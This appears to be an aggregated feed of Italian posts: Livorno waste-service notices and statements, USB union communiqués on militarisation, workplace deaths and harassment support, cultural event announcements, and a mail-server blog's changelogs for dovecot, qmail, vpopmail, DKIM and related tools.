“AAMPS ha fatto un incontrovertibile cambio di passo tornando ad essere un’azienda in salute con un ruolo di primo piano sia nell’erogazione dei servizi alla cittadinanza sia tra le società operative locali dell’Ato Toscana Costa che compongono la galassia Retiambiente e dove l’azienda riveste un ruolo di primo piano assoluto. Il cammino è stato impervio con ostacoli che sembravano insormontabili. Oggi siamo invece nella possibilità di guardare al futuro con grande ottimismo e rinnovate prospettive di consolidamento sia sul versante economico-finanziario sia su quello dello sviluppo industriale”.
Giovanna Cepparello, assessora alla Gestione dei rifiuti e Igiene ambientale
“I numeri sono dalla nostra parte e ci dicono che AAMPS può cogliere risultati importanti inerenti la vocazione ambientale che è chiamata a rappresentare ed esprimere. Nonostante mesi di particolare difficoltà, dovuti a contingenze operative affrontate con impegno e sacrificio da parte di tutti, oggi l’azienda può guardare in avanti con rinnovato entusiasmo e approssimarsi ad innovare e introdurre importanti cambiamenti nella gestione dei rifiuti a livello locale in linea con le strategie condivise con le altre SOL del gruppo Retiambiente. Chiederemo ai cittadini la consueta collaborazione con l’obiettivo di aumentare le percentuali di raccolta differenziata, conferendo materiali di maggiore qualità, e allo stesso tempo continuare a diminuire la produzione dei rifiuti nelle rispettive abitazioni”.
Aldo Iacomelli, Amministratore Unico
AAMPS è un fiore all’occhiello di Livorno. Una società interamente pubblica che eroga servizi ambientali a favore della città fin dal 1949 con grande efficacia ed efficienza impegnando 421 lavoratori in moto perpetuo nella raccolta dei rifiuti, nella pulizia delle strade e nei servizi cimiteriali e commerciali. Tutto questo con i conti sotto controllo suffragati anche dall’assenza di debiti e avendo comunque effettuato importanti investimenti, attingendo a finanziamenti dedicati, senza fare ricorso al credito bancario. Il tutto nella massima trasparenza richiesta ad una società in house providing in affiancamento alla sua holding con la quale condividere strategie industriali ben ponderate”.
Alla raccolta solo alcune modifiche nelle aree Livorno Est e Picchianti-Porta a Terra
In vista della festività di martedì 2 giugno AAMPS/Retiambiente conferma che il servizio di raccolta dei rifiuti si svolgerà regolarmente. Sono previsti solo alcuni cambiamenti negli itinerari di interesse per gli abitanti delle aree Livorno Est e Picchianti-Porta a Terra.
Ecco il dettaglio suddiviso per Aree valido per la raccolta nel giorno della Festa della Repubblica:
Area Livorno Nord Indifferenziato: servizio attivo con esposizione del materiale dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta.
Area Sant’Jacopo Marradi Il calendario ordinario non prevede il servizio di raccolta il lunedì.
Area Vittoria Stazione Zola Carta-cartone: servizio attivo con esposizione del materiale dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta.
Area Livorno est Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta).
Area Picchianti – Porta a Terra Organico: servizio anticipato alla mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta).
Area Ardenza – La Rosa Organico: servizio attivo la mattina (valido solo per le utenze che espongono il materiale con il mastello dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta).
Livorno Sud Carta-cartone: servizio attivo con esposizione del materiale dalle ore 21.00 di lunedì alle 5.00 del giorno di raccolta.
Pentagono
Multimateriale: servizio attivo con esposizione del materiale dalle ore 19.30 alle 20.00 del giorno di raccolta.
Aree Pentagono e Centro Allargato Tutti i contenitori stradali presenti nelle aree “Pentagono” e “Centro Allargato” saranno regolarmente vuotati. Il Centro di raccolta “Livorno Sud” e il “Centro del riuso creativo” saranno chiusi martedì e riapriranno il giorno seguente. Servizio di raccolta pannolini/pannoloni: non effettuato nei giorni festivi.
Ringraziamo i cittadini per la consueta collaborazione. Per ulteriori informazioni: 800-031.266, info@aamps.livorno.it, facebook/instagram/APP (“AAMPS Livorno”).
L’Unione Sindacale di Base aderisce e partecipa alla manifestazione “No Base” del 2 giugno a Pontedera, una mobilitazione necessaria contro la militarizzazione dei territori, contro l’economia di guerra e contro le politiche imperialiste portate avanti dal governo italiano, dall’Unione Europea e dagli Stati Uniti.
Da anni USB è impegnata nelle lotte contro la guerra, contro il riarmo e contro l’utilizzo dei porti, delle infrastrutture logistiche e dei territori come strumenti della macchina bellica. Lo abbiamo fatto organizzando scioperi, presidi e mobilitazioni nei porti italiani contro il traffico di armi e contro il coinvolgimento dell’Italia nei conflitti imperialisti.
Abbiamo sostenuto e promosso mobilitazioni internazionali dei lavoratori portuali contro il traffico di armi e contro il genocidio del popolo palestinese, ribadendo che i porti non devono essere al servizio della guerra e della morte. Oggi più che mai è evidente il legame tra militarizzazione dell’economia, attacco ai diritti sociali e peggioramento delle condizioni materiali delle lavoratrici e dei lavoratori. Mentre miliardi vengono destinati alle spese militari, ai programmi di riarmo e alla Nato, salari, pensioni, sanità, scuola e servizi pubblici vengono sacrificati sull’altare della guerra e del profitto.
Per questo diciamo con forza: GIÙ LE ARMI, SU I SALARI
La costruzione di nuove basi militari, l’espansione delle servitù militari e la subordinazione dei territori agli interessi strategici della Nato rappresentano un attacco diretto alle esigenze sociali delle classi popolari. Le lavoratrici e i lavoratori non possono pagare il prezzo della guerra, del carovita e delle politiche imperialiste.
USB denuncia il genocidio in Palestina e la complicità del governo italiano, dell’Unione Europea e degli Stati Uniti nel sostegno politico, economico e militare a Israele. Allo stesso tempo respingiamo le aggressioni economiche, politiche e militari contro i popoli che resistono all’ordine imperialista, dall’attacco permanente contro Cuba e Venezuela e l’attacco all’Iran. La guerra esterna si accompagna sempre alla guerra interna contro il lavoro, contro il conflitto sociale e contro il diritto di sciopero. La militarizzazione produce repressione, precarietà e impoverimento, mentre grandi gruppi industriali e finanziari aumentano i propri profitti grazie all’economia di guerra. Per queste ragioni saremo in piazza il 2 giugno a Pontedera insieme ai movimenti territoriali, alle realtà sociali e a tutte e tutti coloro che si oppongono alla guerra, all’imperialismo e alla militarizzazione dei territori.
NO ALLA BASE MILITARE NO ALL’ECONOMIA DI GUERRA NO ALL’IMPERIALISMO STOP AL GENOCIDIO IN PALESTINA GIÙ LE ARMI, SU I SALARI
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Oggi la nostra città si è risvegliata con una bella notizia: le istituzioni di Piombino hanno formalmente cominciato a prendere posizione contro la crescita delle attività di carico e scarico di armi, mezzi militari ed altro materiale ad uso bellico nel nostro porto. La votazione favorevole del Consiglio Comunale di una mozione chiara e netta al riguardo (mozione presentata dai consiglieri di Rifondazione Comunista Fabrizio Callaioli e Dario Filippi, che ci teniamo a ringraziare) rappresenta senza dubbio un passo avanti, un passaggio figlio di un lungo percorso e che dovrà accompagnare una lotta che non è ovviamente finita.
Diverse realtà cittadine (tra cui anche il nostro sindacato e ovviamente il gruppo delle Donne in Nero) si sono lungamente spese perché la politica cittadina prendesse posizione e si attivasse concretamente contro il progressivo scivolare delle attività portuali verso l'ambito militare. Il voto di ieri dimostra che non è vero che lottare e protestare non serve a niente. Un comunicato, una manifestazione, un convegno, se isolati, spostano ben poco. Se uniti e capaci di durare nel tempo, possono invece riuscire a far pressione sulle istituzioni e a smuoverle. Una piccola ma utile lezione che pensiamo possa tornare utile anche rispetto a molti altri terreni di lotta. Per parte nostra, consideriamo il voto di ieri anche un frutto positivo dell'aver lavorato affinché l'opposizione ai movimenti di armi nel porto non andasse separata da quella contro il rigassificatore, riuscendo a portare questa saldatura di lotte anche nella manifestazione cittadina dell'11 aprile scorso.
Né a Piombino né altrove
Le ragioni per opporsi al carico e scarico di armi (che siano per esercitazioni o che siano dirette verso veri e propri scenari di guerra, come nel caso della nave partita da Piombino lo scorso 30 marzo e diretta verso l'Arabia Saudita) indicate dalla mozione, sono lo stesse che come USB sosteniamo da tempo, sia a livello nazionale che in relazione al contesto di Piombino. Motivi etici e politici generali innanzitutto. Motivi di sicurezza per i lavoratori e la città, vista anche la vicina presenza del rigassificatore, (peraltro potenziale obiettivi sensibile in caso di guerra). Ma anche specificamente legati alla crisi economica e produttiva del nostro territorio. Non è un caso che l'Esercito Italiano e il Ministero della Difesa sembrino intenzionati a rendere Piombino un Hub militare. Un contesto sociale sofferente, segnato da disoccupazione e cassa integrazione si traduce in una popolazione più ricattabile e in un territorio sacrificabile, a cui si può propinare di tutto in cambio di una manciata anche piccola di posti di lavoro. E infatti dopo la discarica e dopo il rigassificatore abbiamo avuto anche la logistica della guerra. Così non si può andare avanti.
Per noi continua ad essere cruciale capire che o si interrompe questa spirale di ricatto e di declino, pretendendo dalla politica scelte opposte e coraggiose (come la nazionalizzazione delle acciaierie, ad esempio), o il prezzo da pagare sarà sempre più alto. E che solo una mobilitazione reale e sentita da parte di lavoratori e cittadini, con l'appoggio di forze sociali e politiche solidali e determinate può allontanare questa brutta prospettiva.
Dire No alla militarizzazione del porto di Piombino significa per noi tenere aperta la possibilità di un vero rilancio e potenziamento della sua funzione civile e commerciale, la sola che può garantire vere ricadute positive in termini di sviluppo economico e di posti di lavoro. Dire No alla logistica e all'economia della guerra significa cioè stare dalla parte di Piombino e del suo diritto al futuro.
Non ci illudiamo e invitiamo a non illudersi. Molto è ancora da fare per ostacolare e e interrompere il va e vieni di queste navi. Ma la mozione approvata ieri è un piccolo strumento in più a disposizione di chi vorrà tentare di farlo, sapendo che altrove questo è stato già possibile. Dimostrare con sempre maggiore incisività che Piombino rifiuta di diventare un Hub militare è la difficile sfida che abbiamo davanti, sfida a cui non ci sottrarremo.
Un altro lavoratore che esce di casa e non ci torna più.
A Spianate, in provincia di Lucca, un operaio di 31 anni è morto schiacciato da una pressa dentro la ditta Cora Srl.
Non chiamatele morti bianche. Non chiamatele fatalità.
Non chiamatele tragiche coincidenze.
Questi sono omicidi sul lavoro.
Sono il prodotto di un sistema fondato sul profitto, sulla compressione dei costi, sulla riduzione della sicurezza a semplice variabile economica. In questo sistema i lavoratori vengono trattati come numeri, ingranaggi sostituibili, costi da abbattere per aumentare margini e produttività.
Ogni volta ci raccontano la stessa storia: si accerteranno le responsabilità, era un bravo lavoratore, si parla di “cordoglio”. Poi tutto continua come prima. Turni massacranti, appalti, precarietà, ritmi insostenibili, manutenzioni rimandate, formazione insufficiente, controlli inesistenti.
La verità è che queste morti vengono messe in conto.
Perché investire davvero in sicurezza costa.
E nel capitalismo italiano la vita di un operaio vale meno di un bilancio aziendale.
Mentre governo e padroni parlano di competitività e crescita, nei luoghi di lavoro si continua a morire. I profitti aumentano, i salari crollano, i diritti vengono smantellati e chi lavora paga con il sangue.
Noi diciamo basta.
Serve l’introduzione immediata del reato di OMICIDIO SUL LAVORO per imprenditori, dirigenti e responsabili che, violando norme e obblighi di sicurezza, causano la morte di lavoratrici e lavoratori.
Chi risparmia sulla sicurezza deve pagare penalmente.
Chi sfrutta deve rispondere delle proprie responsabilità.
Chi considera la vita operaia sacrificabile deve essere colpito duramente.
Non ci uniamo al coro dell’ipocrisia istituzionale.
La responsabilità politica è di governi che da anni smantellano controlli, favoriscono precarietà e obbediscono agli interessi delle imprese. La responsabilità morale è di un sistema economico che pretende produttività infinita e accetta la morte come prezzo normale del profitto.
Finché il profitto verrà prima della vita, continueremo a contare i morti.
E noi continueremo a stare dalla parte dei lavoratori contro questo sistema marcio, costruito sullo sfruttamento, sulla precarietà e sul sacrificio quotidiano di chi produce ricchezza e viene ripagato con salari da fame e bare.
Non abbiamo nulla da condividere con chi si arricchisce sulla pelle degli operai.
Nessuna pace sociale con padroni e governi complici di questa strage continua.
Ogni lavoratore ucciso dal profitto pesa sulle coscienze di chi difende questo modello economico fondato sullo sfruttamento e sull’impunità.
La nostra rabbia non si spegne con le parole di circostanza.
La nostra risposta sarà organizzazione, lotta e conflitto.
Perché chi lavora ha diritto a vivere.
E chi trasforma i luoghi di lavoro in luoghi di morte deve essere chiamato con il suo nome: responsabile di un omicidio sul lavoro.
Sportello sindacale contro le molestie di genere sui luoghi di lavoro – RETE ISIDE/USB 3389336083 - sicurealavorolivorno@usb.it
Negli ultimi anni Livorno ha visto crescere il peso economico del turismo, degli eventi stagionali e dei servizi legati alla ristorazione, all’intrattenimento e all’accoglienza. Questa trasformazione ha prodotto nuove occasioni di impiego all’interno di un settore sempre più fondato su un modello di lavoro deliberatamente e strutturalmente reso povero, precario e subalterno: caratterizzato da flessibilità e stagionalità estrema, salari bassi, contratti brevi o intermittenti, part time involontari ed elevata ricattabilità economica. In molti casi si tratta di lavori svolti da giovani, studenti, lavoratrici e lavoratori migranti o persone che vivono situazioni di fragilità economica e che, proprio per questo, incontrano maggiori difficoltà nel denunciare abusi o comportamenti scorretti per paura di perdere il posto o di non essere richiamati la stagione successiva. A questo si aggiunge una diffusa area di informalità lavorativa, fatta di lavoro nero, lavoro grigio, mansioni non contrattualizzate e assenza di tutele reali, condizioni che aumentano ulteriormente l’esposizione a ricatti, abusi e molestie. Nei contesti stagionali poi il confine tra lavoro, socialità e “intrattenimento” tende inoltre a diventare più ambiguo: bar, festival, locali, stabilimenti balneari ed eventi cittadini sono spesso spazi attraversati da consumo di alcol, rapporti informali e ritmi intensi, dove atteggiamenti molesti o discriminatori vengono troppo facilmente banalizzati come normale dinamica di settore, secondo una logica perversa di naturalizzazione degli abusi. In questo quadro, molestie, pressioni, ricatti, discriminazioni sessiste, razziste o omotransfobiche e abusi di potere rischiano di essere percepiti come inevitabili, soprattutto nei confronti di chi occupa posizioni lavorative più precarie e subalterne. È invece opportuno riconoscere che il contrasto e la prevenzione delle molestie e degli abusi sui luoghi di lavoro contribuisce a costruire ambienti più sicuri e vivibili per tutte e tutti, rompendo il silenzio e l’isolamento che troppo spesso accompagnano queste esperienze.
In vista della stagione estiva che sta per cominciare e degli eventi che, come ogni anno, attraverseranno Livorno - a partire dai contesti ufficiali come il Festival Straborgo che si terrà in città dal 29 maggio al 1° giugno, fino ad Effetto Venezia - che comporteranno un prevedibile aumento dei flussi e dei carichi di lavoro, torna centrale il tema delle condizioni di lavoro nei settori legati al turismo, alla ristorazione, all’accoglienza e all’organizzazione. USB e la RETE ISIDE richiamano, dunque, con forza l’attenzione su un tema troppo spesso sottovalutato: la sicurezza e la tutela delle lavoratrici rispetto a molestie, comportamenti inappropriati e violenze nei luoghi di lavoro.
Le molestie NON sono “parte del lavoro” Qualsiasi comportamento indesiderato a sfondo sessuale, verbale o fisico, che leda la dignità della lavoratrice, costituisce una violazione della normativa vigente in materia di salute e sicurezza sul lavoro (D.Lgs. 81/2008) e delle norme antidiscriminatorie. Non esiste alcuna giustificazione legata al contesto, all’afflusso di clientela o al “clima festivo”.
È responsabilità del datore di lavoro prevenire e intervenire Ricordiamo che il datore di lavoro ha l’obbligo giuridico di garantire un ambiente di lavoro sicuro e rispettoso. Ciò significa:
• Valutare tutti i rischi, compresi quelli legati a molestie e violenze; • Adottare misure di prevenzione e protezione adeguate; • Intervenire tempestivamente in caso di segnalazioni.
L’inerzia o la sottovalutazione di episodi segnalati può configurare responsabilità diretta del datore di lavoro, con possibili sanzioni civili e penali.
Esiste una tutela internazionale: Convenzione ILO n. 190 L’Italia ha ratificato la Convenzione n. 190 dell’Organizzazione Internazionale del Lavoro, che riconosce il diritto di ogni persona a un mondo del lavoro libero da violenze e molestie. Questa convenzione rafforza il quadro di tutela e obbliga anche i datori di lavoro ad adottare politiche attive di prevenzione e contrasto.
Cosa possono fare le lavoratrici RETE ISIDE e USB invitano tutte le lavoratrici a non restare sole e a tutelarsi attivamente:
• Segnalare immediatamente ogni episodio al datore di lavoro o al responsabile della sicurezza (RLS/RLST); • Documentare quanto accade (annotazioni, messaggi, eventuali testimoni); • Rivolgersi al sindacato per supporto e assistenza; • In caso di mancato intervento aziendale, attivare gli organi ispettivi (Ispettorato del Lavoro, ASL); • Nei casi più gravi rivolgersi ai Centri Anti Violenza e/o sporgere denuncia alle autorità competenti.
USB e RETE ISIDE sono al vostro fianco Non accetteremo che, dietro la retorica dell’evento e del turismo, si nascondano condizioni di lavoro degradanti e rischiose. La sicurezza e la dignità non sono negoziabili.
Invitiamo tutte le lavoratrici della ristorazione a contattare gli Sportelli territoriali dedicati al contrasto delle molestie, delle discriminazioni e della violenza di genere nei luoghi di lavoro per segnalazioni, supporto e tutela collettiva. Solo attraverso l’organizzazione e la lotta possiamo contrastare abusi e silenzi.
Rete Iside/Unione Sindacale di Base Sportello contro molestie, discriminazioni e violenza di genere nei luoghi di lavoro Livorno
Il 29 marzo, nel Teatro comunale di Isola del Liri (FR), si è svolto l'incontro tra due libri e due autori: Mensaleri di Wu Ming 2 e Biografia di una classe operaia. I cartai della valle del Liri. 1824 - 1954 di Alfredo Martini.
A tenere le fila del dialogo ci ha pensato Lorenzo Teodonio.
Incontro registrato il 18 maggio 2026, alla libreria Modo Infoshop di Bologna. Wu Ming 2 e Andrea Chiloiro, dell'associazione Boschilla, presentano la guida "nonturismo" «Terre del Reno, Setta e Sambro», pubblicata da Ediciclo ad aprile 2026.
«Questa sarà una conversazione anfibia, ambigua... Dubbia... Anche mostruosa!»
Così Giada Peterle, direttrice del Museo di Geografia dell'Università di Padova, ha introdotto l'incontro su Gli uomini pesce, svoltosi proprio in quel luogo il 19 maggio 2026. Luogo che, ha aggiunto Peterle, è il«naturale approdo» del romanzo, sia perché parte di quest'ultimo è «ancorata» in quelle stanze, sia perché trattasi di un «romanzo geografico», anzi, di un romanzo che è «geografo esso stesso» e ci interroga sulla geografia come forma del pensiero.
A confrontarsi sul libro un parterre di docenti di geografia: Francesco Visentin, Andrea Pase, Luca Bonardi e Margherita Cisani. Al termine dei loro interventi, Wu Ming 1 ha raccolto gli spunti, ricostruito le tappe del suo lavoro sul romanzo e risposto alle domande del pubblico. Nel mentre, è arrivata una lettera di Antonia Nevi, di cui si è data pubblica lettura.
Conclusa la conferenza annuale sui temi dell’etica digitale, dell’autonomia tecnologica e del futuro condiviso della ricerca a Pisa dal 19 al 21 maggio 2026.
Aug 28, 2026 - dovecot upgraded to v2.4.5 - the new version has lua as a dependency. Added --without-lua at configure command
Feb 25, 2026 - Added Server Name Indication (SNI) settings in sni.conf.template, imported from local.confcommit - userdb iterate query nor orders by domain and username commit - 15-mailboxes.conf: fts_autoindex = no added to Trash and Junk folders commit - 10-auth.conf: + character added to auth_username_charscommit
Nov 24, 2025 - dropped 'enforce = no' from 90-quota.conf to enforce quota limits (commit)
Nov 22, 2025 - quota driver switched to 'count' (commit). 'count' is the recommended way of calculating quota on recent Dovecot installations.
Mar 15, 2025 (config version 2.4.0.1 diff) - Added quota warnings feature. Improved quota configuration in 90-quota.conf (more info here) - Configured auth-master.conf.ext and auth-deny.conf.ext. To be included from local.conf
Mar 9, 2025 - fixed quota calculation in sql queries (tx Hakan Cakiroglu)
Feb 22, 2025 - Bug fix in 90-sieve.conf: global script to move spam into Junk now working - Bug fix in move-spam.sieve: erroneously matches "YES" if "BAYES" is in the header
Feb 15, 2025 - added support for vpopmail configured with --disable-many-domains - 90-sieve.conf: global script move-spam.sieve called correctly
Jan 29, 2025 - dovecot upgraded to v 2.4.0. Old configuration files are not valid anymore and you have to install dovecot from scratch.
Nov 15, 2024 - added a postlogin script to update the vpopmail.lastauth SQL table on login (see 10-master.conf, thanks kengheng)
Dec 29, 2023 default_pass_scheme = SHA512-CRYPT (was MD5-CRYPT) in dovecot-sql.conf.ext, as vpopmail-5.6.x has now SHA512-CRYPT password by default
Sep 29, 2026 More info in the changelog - Modernization for compatibility with C23 and recent GCC/clang releases in #44 - srs: do not rewrite qmail's internal envelope addresses ("#@[]" and VERP) by @yohgaki in #46 - Improve general portability across linux and *BSD platforms in #47
Apr 7, 2026 - (security) Remote Code Execution via Shell Injection in qmail-remote TLS Error Handler in #42 (tx Diep Pham)
Apr 2, 2026 - qmail-remote auth improvements by pierluigi in #39 - Fixed DKIM ed25519-sha256 signing and verification to conform to RFC8463 by @agerstla in #40 - Updated qmail-qfilter to support filters defined in control/qfilters by @agerstla in #41
Feb 25, 2026 - Improved DKIM status handling by @agerstla in #35 - Ported over DKIM_BAD_IDENTITY support from Indimail (tx Manvendra Bhangui and Andreas Gerstlauer 1299b55) - SNI support for qmail-smtpd by @agerstla in #37 - Added qmail-qfilter by @agerstla in #38
Apr 25, 2025 - added a configuration script config-all, which configure and installs the control files (as per the original config-fast script), aliases, SRS (uses control/me as the srs_domain), log dirs in /var/log/qmail, tcprules (basic, just to make initial tests), supervise scripts, qmailctl script, DKIM control/filterargs and control/domainkeys dir, SURBL, smtpplugins, helodnscheck spp plugin, svtools, qmHandle, queue-repair, SSL key file (optional).
Server Name Indication (SNI) è una estensione del protocollo TLS che consente a un server di presentare differenti certificati a seconda dell'hostname richiesto dal client durante il saluto TLS.
In un ambiente email moderno, molti domini condividono uno stesso indirizzo IP per i servizi SMTP, IMAP, POP3 e submission. Senza SNI, un amministratore di un server email può presentare un solo certificato per ogni socket disponibile, cosa che obbliga l'aministratore ad affidarsi a certificati multi-dominio (SAN) o a certificati con wildcard. Questo approccio aumenta i problemi operativi tra gli utenti finali novelli, che spesso non sono in grado di usare la configurazione automatica del client per configurare correttamente le loro mailbox.
L'abilitazione di SNI nei serivizi mail consente al server di presentare il certificato appropriato basato sull'hostname richiesto dal client, contenuto nel suo indirizzo email.
La funzionalità SNI per la mia distribuzione qmail è stata aggiunta da Andreas Gerstlauer (commit qui e qui), che vorrei ringraziare.
Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways.
Changelog
Mar 4, 2026 - clamav upgraded to v 1.5.2
Oct 11, 2025 - clamav upgraded to v 1.5.0. A recent version of rust is needed (successfully using 1.88 here). Just reinstall as explained below. No particular change is needed in the config files.
Vpopmail fornisce un modo semplice di gestire indirizzi di posta su domini virtuali e account email diversi da quelli su /etc/passwd.
Changelog
Sep 16, 2026 (version 5.6.14) - Refactoring 64-bit endian conversion handling in #11 - Purge vlog in #12#13853be6c012e58db4bafadd7fce5d - escape SQL through the client library, not by hand. by @yohgaki in #14 - bug fix in vpalias.c: valias_select_next() was called with a 'valias' variable, while it is defined with no arguments (tx Ulrich) in #15 - backfill.c: fix const qualifier warnings in strrstr()8f77b5d - vusaged: rename internal list functions to vlist_* to avoid symbol collisions with MariaDB client library 1bb31ca
Feb 11, 2026 - vlimits.c: avoids no file found exit when .qmailadmin-limits is not existent because no limits are defined yet (a565779) - added sql files to be imported on upgrade to v. 5.6.x (8136480)
Feb 8, 2026 - migliorata la sezione "upgrade" - vmysql.c changes (#10)
valias_create_table now check if table is already created in order to avoid warnings in dotqmail2valias
solved quotes issue in query in valias_insert function
Nov 20, 2025 - vutil: 'isSomething' functions reviewed to satisfy qmailadmin calls in #9 - Added definition of 'call_onchange' function and cured its calls to avoid break 97ffe38
Oct 30, 2025 (v. 5.6.10) - Added specific usage informations for s/qmail users (look here) - Dropped -std=gnu17 from compilation options and solved (probably) all breaks and warnings on gcc 15.2 2d8526d - configure.ac now looks for mariadb include and lib dir in addition to mysql dab36e8 - configure.ac automatically looks for vanilla qmail's users/cdb and s/qmail's users/assign.cdb file 723efb3 - Updated the usage() funcion message in vadduser.c to clarify the use of pre-hashed passwords with -e 5b5ccdb - control/defaultdelivery is now installed by vpopmail if --enable-defaultdelivery 77f54eb - vrcptcheck checks all kind of address (users, forwards, valiases) #7 - Dropped unused functions in vpopmail.c #8
Sep 1, 2025 (v. 5.6.9) - added -std=gnu17 to gain compatibility with gcc-15 (PR #6) - pw_clear_passwd field enlarged to varchar(128) to create room for long passwords (tx Ricardo Brisighelli) c54688d
Mar 29, 2025 - defaultdelivery feature (--enable-defaultdelivery) changes (more info here, commit):
vdelivermail is installed by default in .qmail-default of newly created domains with option 'delete' as in the previous version.
if no user's valiases and no .qmail are found, then the message is sent to the control/defaultdelivery file, so that dovecot-lda (or whatelse) can store the mail into inbox and execute the sieve rules.
if vdelivermail is found in control/defaultdelivery, then it is ignored. The delivery remains in charge to vdelivermail, to avoid loops.
v. 5.6.8 is backward compatible. The users having .qmail from previous versions of the defauldelivery feature are not affected by this change.
VqAdmin è un pannello di controllo su interfaccia web che consente di eseguire azioni che richiedono l'accesso a root — per esempio, aggiungere e cancellare domini.
Come si può vedere, VqAdmin ha una nuova versione con un nuovo aspetto mobile responsive, con tutte le mie vecchie patch incluse (compresa quella di ALI) e diverse correzioni e ripuliture del codice sorgente. Ho risolto tutti i warnings sia di autotools che di gcc e cambiato un paio di cose per poter rifare il tema html (guardare il changelog per maggiori dettagli). Come sempre i contributi nei commenti sono graditi.
PS: anche la parte apache è stata modificata e prima di fare l'aggiornamento è necessario guardare quali modifiche sono necessarie.
Have fun!
Changelog
Feb 18, 2026 (v. 2.4.7) - domain's users lists valiases too #4 - bug fix in mod_domain.html: Mailing Lists domain limit was not copied correctly (ecce453)
Jan 31, 2026 - relaylimits added to control files 4c5a859 - disabled maintainer mode to avoid autotools regeneration on user builds #3
Jan 25, 2026 - Domain's users listed alphabetically by domain and username #2451da48 - Dropped simsizelimit control file 868b8b2
Dec 06, 2024 - added a patch to highlight users with restrictions and with admin privileges (PR #1, thanks Bai Borko) - added control files notlshosts_auto and tlsserverciphers
Questa pagina riguarda la patch DKIM inclusa nella mia patch combinata (maggiori informazioni qui). Questo argomento è avanzato ed è consigliabile tornare qui alla fine del tutto.
Mirko Buffoni ha pubblicato in un commento una piccola modifica che consente di firmare i messaggi inviati dagli utenti autenticati e di verificare quelli degli utenti non autenticati.
DKIM fornisce un metodo per validare l'identità di un nome a dominio associato a un messaggio con una autenticazione crittografata. La tecnica di validazione è basata sulla crittografia di una chiave pubblica: Il server che invia l'email aggiunge il nome a dominio al messaggio e vi affigge una firma digitale. Questa chiave è posta nell'intestazione DKIM-Signature: del messaggio. Colui che riceve il messaggio può controllare la validità della chiave pubblica leggendo un record TXT del DNS del dominio associato al messaggio.
Sei invitato a dare un'occhiata alle pagine man a partire da qmail-dkim(8) e spawn-filter(8).
Changelog
Jan 29, 2026 - Bug fix for verifying multiple DKIM signatures (second one always failed due to a DNS lookup bug). tx Andreas Gerstlauer
Jul 10, 2025 added ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer)
Feb 12, 2024 - v. 1.48: fixed minor bug using filterargs for local deliveries (commit)
Feb 6, 2024 -DKIM patch upgraded to v. 1.47 * fixed a bug which was preventing filterargs' wildcards to work properly on sender domain
Jan 11, 2024 - version 1.46 * dk-filter.sh has been dropped. If signing at qmail-remote level, before upgrading, you have to review the configuration as explained below. * The variables USE_FROM, USE_SENDER and DKIMDOMAIN have been dropped * when signing at qmail-remote level qmail-dkim now has to be called directly by spawn-filter in the rc file. man spawn-filter for more info * In case of bounces the signature will be automatically based on the from: field. This will solve issues of DMARC reject by google in case of sieve/vacation bounces. * In case of ordinary bounces (mailbox not found, for instance) the bounce domain will be taken from control/bouncehost and, if doesn't exist, from control/me
Jan 4, 2024 - patch upgraded to v. 1.44 * fixed an issue with filterargs where spawn-filter is trying to execute remote:env xxxxx.... dk-filter. This issue happens when FILTERARGS environment variable is not defined in the qmail-send rc script. * dkim.c fix: https://notes.sagredo.eu/en/qmail-notes-185/configuring-dkim-for-qmail-92.html#comment3668 * adjustments fo dk-filter and dknewkey man pages
Nov 20, 2023 * The patch now by default excludes X-Arc-Authentication-Results * dkim can additionally use the environment variable EXCLUDE_DKIMSIGN to include colon separated list of headers to be excluded from signing (just like qmail-dkim). If -X option is used with dk-filter, it overrides the value of EXCLUDE_DKIMSIGN.
Feb 19, 2023 (v. 1.37 upgrade) - ed25519 support (RFC 8463) - multiple signatures/selectors via the enhanced control/dkimkeys or DKIMSIGN / DKIMSIGNEXTRA / DKIMSIGNOPTIONSDKIMSIGNOPTIONSEXTRA variables - domainkey script replaced by dknewkey in order to create ed25519 keys and rsa keys with 1024/2048/4096 bit - dropped yahoo's domainkeys support (no longer need the libdomainkeys.a library) - man pages revised and enhanced - domainkeys directory moved to /var/qmail/control/domainkeys - the documentation in this page has been revised. You can find how to sign with the rsa key together with the ed25519 key below.
qmail-spp provides plug-in support for qmail-smtpd. It allows you to write external programs and use them to check SMTP command argument validity. The plug-in can trigger several actions, like denying a command with an error message, logging data, adding a header and much more.
Today I played for the first time with an ancient patch for qmail: qmail-spp. I was really impressed for the ease of use and the elegance of its code, which is inserted inside qmail-smtpd.c with a few touches, despite of the many things that it can do when installed and enabled.
It can run a custom plugin in any language and at any level of the smtp session, grabbing the environment variables, writing into stderr or blocking the smtp session with a return error for the sender.
In no time at all I managed to understand its logic and write a small plugin by adapting a c program I wrote for s/qmail a few months ago to check the validity of the recipient.
Of course I decided to add this patch to my combo. I've just modified the way it has to be enabled, just not to bother those who don't want to touch their run scripts. So, while the original patch is enabled by default, I modified things a little bit so that you have to manually enable it by exporting the variable ENABLE_SPP in your run scripts. Therefore the original NOSPP variable is useless.
Ora che abbiamo preparato i filtri antispam dobbiamo addestrare il nostro sistema bayesiano e inviare i report a Razor, Pyzor e Spamcop.
La cosa più ovvia che può venirci in mente di fare a questo punto è forse quella di lanciare sa_learn e spamassassin --report uno dopo l'altro al click sul bottone "Marca come Spam" della webmail Roundcube (vedere i driver cmd_learn e multi_driver del plugin markasjunk), ma questa scelta ha alcuni svantaggi importanti:
il processo di addestramento, la conseguente sincronizzazione del journal e la connessione ai vari network per il reporting può richiedere anche una decina di secondi, un tempo che i nostri utenti non sono disposti ad attendere.
cosa anche più grave, quando essi cliccano sul bottone "Marca come Spam" non è sempre detto che si tratti di un vero messaggo di posta indesiderata. Prendiamo ad esempio il classico caso delle newsletter a cui si sono regolarmente iscritti e che non vogliono più leggere, e che decidono di eliminare etichettandole come spamming anzichè inoltrare una regolare richiesta di cancellazione.
E' qundi più corretto eseguire questi due compiti durante la notte per mezzo di un cronjob (primo problema risolto), processando i soli messaggi di vero spam/ham che l'utente ha consapevolmente copiato in una cartella apposita (secondo problema).
